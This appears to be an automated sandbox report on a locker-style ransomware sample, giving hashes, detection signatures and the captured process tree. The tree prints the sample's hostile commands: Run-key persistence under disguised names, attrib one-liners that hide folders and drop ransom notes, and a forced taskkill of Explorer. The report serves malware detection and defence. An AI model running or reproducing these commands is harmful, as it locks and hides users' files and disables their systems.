Analysis
- max time kernel
30s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/10/2026, 10:18
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
822snoser (2).exe
Resource
win11ltsc2024-20260911-en
8 signatures
30 seconds
General
- Target 822snoser (2).exe
- Size 211KB
- Sample261023-mcaeaaaz9s
- SHA256 80229b275ca9f02dd57a3f6e10fb4a3b6453193180b48eb93f7b8790412b2cbf
- MD5 f22397e3d13fa9c9f599298b077232cf
- SHA1 d9ceb295d2ad235faa3a5f59f8a4bec82f4cc414
- SHA512 5ce3daf4754934b1d2d7d41375465e08bb66ce74cf5aa010e0ad465d4941f3d5415be5ac861b3f23f751fa71e827341a691376e48f775fac7f2907a0b1a7670c
- SSDEEP 6144:8l8A/ehUOqxaPB/VmQrKUiPbDddASCpMW90KImQiXnhbmew:8eAwUOqxaPFVZYvj
- TLSH T1A4244A9813AB897DD63D237ED0A1110507F4A227C103E35E9EE5E4F95F2B312AB12B97
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 10 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\822snoser (2).exe\" -startup" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\822snoser (2).exe\"" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe" 822snoser (2).exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe" 822snoser (2).exe - Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
pid Process 4068 cmd.exe 5084 cmd.exe 2840 cmd.exe 5048 cmd.exe 4352 cmd.exe 4408 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 822snoser (2).exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 822snoser (2).exe - Kills process with taskkill 1 IoCs
pid Process 3844 taskkill.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2112 822snoser (2).exe 2112 822snoser (2).exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2112 822snoser (2).exe Token: SeDebugPrivilege 3844 taskkill.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 2112 wrote to memory of 5048 2112 822snoser (2).exe 90 PID 2112 wrote to memory of 2840 2112 822snoser (2).exe 91 PID 2112 wrote to memory of 5084 2112 822snoser (2).exe 92 PID 2112 wrote to memory of 4068 2112 822snoser (2).exe 93 PID 2112 wrote to memory of 4408 2112 822snoser (2).exe 94 PID 2112 wrote to memory of 4352 2112 822snoser (2).exe 95 PID 2112 wrote to memory of 3844 2112 822snoser (2).exe 96 PID 4068 wrote to memory of 6040 4068 cmd.exe 114 PID 4352 wrote to memory of 4224 4352 cmd.exe 115 PID 4352 wrote to memory of 1564 4352 cmd.exe 116 PID 2840 wrote to memory of 1540 2840 cmd.exe 117 PID 4408 wrote to memory of 3248 4408 cmd.exe 118 PID 5084 wrote to memory of 4456 5084 cmd.exe 119 PID 5048 wrote to memory of 1860 5048 cmd.exe 120 PID 4068 wrote to memory of 1744 4068 cmd.exe 121 PID 5084 wrote to memory of 5616 5084 cmd.exe 124 PID 4408 wrote to memory of 4092 4408 cmd.exe 125 PID 5048 wrote to memory of 4736 5048 cmd.exe 126 PID 2840 wrote to memory of 1696 2840 cmd.exe 127 - Views/modifies file attributes 1 TTPs 12 IoCs
pid Process 4736 attrib.exe 4092 attrib.exe 1696 attrib.exe 4224 attrib.exe 6040 attrib.exe 1564 attrib.exe 1540 attrib.exe 4456 attrib.exe 3248 attrib.exe 1744 attrib.exe 1860 attrib.exe 5616 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe"C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe"1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D3⤵
- Views/modifies file attributes
PID:1860
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C:\Windows\system32\attrib.exeattrib -h +s +r info-Locker.txt3⤵
- Views/modifies file attributes
PID:4736
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C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:2840 -
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D3⤵
- Views/modifies file attributes
PID:1540
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C:\Windows\system32\attrib.exeattrib -h +s +r info-Locker.txt3⤵
- Views/modifies file attributes
PID:1696
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C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D3⤵
- Views/modifies file attributes
PID:4456
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C:\Windows\system32\attrib.exeattrib -h +s +r info-Locker.txt3⤵
- Views/modifies file attributes
PID:5616
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C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D3⤵
- Views/modifies file attributes
PID:6040
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C:\Windows\system32\attrib.exeattrib -h +s +r info-Locker.txt3⤵
- Views/modifies file attributes
PID:1744
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C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D3⤵
- Views/modifies file attributes
PID:3248
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C:\Windows\system32\attrib.exeattrib -h +s +r info-Locker.txt3⤵
- Views/modifies file attributes
PID:4092
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C:\Windows\SYSTEM32\cmd.execmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:4352 -
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D3⤵
- Views/modifies file attributes
PID:4224
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C:\Windows\system32\attrib.exeattrib -h +s +r info-Locker.txt3⤵
- Views/modifies file attributes
PID:1564
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C:\Windows\SYSTEM32\taskkill.exetaskkill.exe /im Explorer.exe /f2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3844
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C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe"C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe" -startup1⤵PID:5228
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C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe"C:\Users\Admin\AppData\Local\Temp\822snoser (2).exe"1⤵PID:2692
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\Downloads\info-Locker.txt
- Size 83B
- SHA256 5f504dd84a23cbbbc96cd380b7b4a8944034b7aebea47fea808f932c8da16079
- MD5 0aa8700fb4f9ecd269626ecb104a73d8
- SHA1 9501eb5f335d2566a58f6028d3b1329771177322
- SHA512 e72ae6e3fd919f5ea633903ac88c47dc3fb99b4c01987aba01aa72a4b0052f391e2c0b016be7db042f826dc200e9b9e9c3a22c8e105884ba572781c84081aae5
- TLSH T163A012093D583A44210011F33B35B001146CA90D1007284115044852306508064DF520
- MD5 SHA1 SHA512 TLSH